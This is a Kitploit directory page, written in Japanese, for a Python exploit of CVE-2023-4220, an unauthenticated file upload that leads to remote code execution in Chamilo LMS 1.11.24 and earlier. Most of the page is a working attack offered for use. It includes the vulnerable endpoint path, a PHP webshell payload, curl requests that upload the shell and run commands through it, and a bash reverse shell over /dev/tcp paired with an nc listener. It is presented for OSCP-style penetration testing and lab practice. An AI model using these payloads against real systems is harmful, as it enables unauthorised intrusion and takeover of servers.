Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — Chamilo LMS ≤ 1.11.24における認証なしのファイルアップロードによるRCE。OSCPスタイルおよび自動エクスプロイト。 | Kitploit
ツール/GitHubGitHub/speatx/chamilolms-cve-2023-4220
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ラボと実践
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — Chamilo LMS ≤ 1.11.24における認証なしのファイルアップロードによるRCE。OSCPスタイルおよび自動エクスプロイト。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ChamiloLMS CVE-2023-4220 エクスプロイト

CVE-2023-4220 用の Python エクスプロイトです。これは Chamilo LMS <= 1.11.24 に影響する、認証不要の任意ファイルアップロード脆弱性です。

この脆弱性は Chamilo の BigUpload コンポーネントに存在します。脆弱性のあるインストール環境では、アップロードハンドラが適切な検証なしに PHP ファイルのアップロードを許可します。アップロードされたファイルは Web からアクセス可能なディレクトリに保存されるため、PHP の実行が有効な場合、アップロードした PHP ファイルに直接リクエストして webshell として使用できます。

このリポジトリには、エクスプロイトの 2 つのバージョンが含まれています:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

両方のスクリプトは PHP の webshell をアップロードし、コマンド実行を検証して、cmd GET パラメータを通じてコマンドを実行できます。実質的な違いは --shell の処理方法のみです。

auto バージョンは自身でリスナーを起動し、リバースシェルをトリガーして、自動的にインタラクティブセッションに切り替わります。

oscp バージョンはリバースシェルのペイロードをトリガーしますが、リスナーは起動しません。実行する前に手動でリスナーを起動する必要があります。


インストール

リポジトリをクローンします:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

依存パッケージをインストールします:

root@kitploit:~
python3 -m pip install -r requirements.txt

外部依存は requests のみのため、手動でインストールすることもできます:

root@kitploit:~
python3 -m pip install requests

使用方法

ターゲットは -u または --url で指定します:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

両方のスクリプトで同じオプションが利用できます:

root@kitploit:~
-u, --url              ターゲットのベース URL
--check                BigUpload の files ディレクトリにアクセスできるか確認
--upload               webshell をアップロードしてコマンド実行を検証
--cmd CMD              アップロードした webshell を通じて単一のコマンドを実行
--shell LHOST LPORT    リバースシェルをトリガー
--filename NAME        アップロードする PHP ファイルにカスタムファイル名を使用
--proxy PROXY          プロキシ経由でトラフィックを送信(例: Burp Suite)
--timeout SECONDS      HTTP タイムアウトを設定
--verify-tls           TLS 証明書の検証を有効化
--cleanup              実行後にアップロードした webshell の削除を試行

自動バージョンには次のオプションも含まれます:

root@kitploit:~
--listen-timeout SEC  リバースシェルの接続を待機する時間

基本的な使用例

想定される BigUpload のパスにアクセスできるか確認します:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

PHP の webshell をアップロードしてコマンド実行を検証します:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

単一のコマンドを実行します:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

カスタムファイル名を使用します:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Burp Suite 経由でトラフィックを送信します:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

上記の例では auto スクリプトを使用していますが、同じ構文は chamilo_cve_2023_4220_oscp.py でも使用できます。


リバースシェル

--shell オプションは両方のスクリプトにありますが、使用するバージョンによって動作が異なります。

自動バージョン

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

このバージョンは 10.10.14.3:4444 でローカルリスナーを起動し、webshell をアップロードして、リバースシェルをトリガーし、自動的にインタラクティブセッションを開きます。

このバージョンを使用する場合、nc を手動で実行する必要はありません。

OSCP スタイルのバージョン

最初に手動でリスナーを起動します:

root@kitploit:~
sudo nc -nlvp 4444

次に、別のターミナルからエクスプロイトを実行します:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

このバージョンはアップロードした webshell を通じてリバースシェルのペイロードを送信するだけです。接続は手動で起動したリスナーが受け取ります。

両方のスクリプトがトリガーするリバースシェルコマンドは次のコマンドと同等です:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

LHOST の値がターゲットから到達可能であることを確認してください。VPN 環境では、通常これはトンネルインターフェースのアドレスです:

root@kitploit:~
ip -brief addr show tun0

脆弱性の詳細

CVE-2023-4220 は Chamilo LMS のバージョン 1.11.24 以前に影響します。

脆弱性のあるアップロードハンドラは次の場所にあります:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

エクスプロイトが悪用するアクションは次のとおりです:

root@kitploit:~
?action=post-unsupported

アップロードされたファイルは通常、次の場所からアクセスできます:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

エクスプロイトは、BigUpload が想定するフォームフィールドを使用して multipart/form-data の POST リクエストを送信します:

root@kitploit:~
bigUploadFile

アップロードされる PHP ペイロードは小さなコマンドラッパーです:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

コマンドは cmd GET パラメータを通じて渡されます:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

コマンド出力の周囲にあるマーカーは、HTTP レスポンスの関連部分を抽出するために使用されます。


手動リクエスト

スクリプトが実行するアップロードは次のリクエストと同等です:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

アップロードが成功した後、コマンド実行は次のコマンドでテストできます:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

注意事項

--check は、想定される BigUpload の files ディレクトリにアクセスできるかどうかのみを検証します。結果が肯定的でも、ターゲットがエクスプロイト可能であることは保証されません。

完全な検証には、PHP ペイロードをアップロードし、--upload または --cmd でコマンド実行を確認する必要があります。

アップロードは成功するがコマンド実行が失敗する場合、アップロードディレクトリで PHP の実行が無効になっているか、ターゲットにパッチが適用されているか、サーバー側のルールがリクエストをブロックしている可能性があります。

実行後にスクリプトがアップロードした PHP ファイルの削除を試行するようにしたい場合は、--cleanup を使用します。

ツールをダウンロード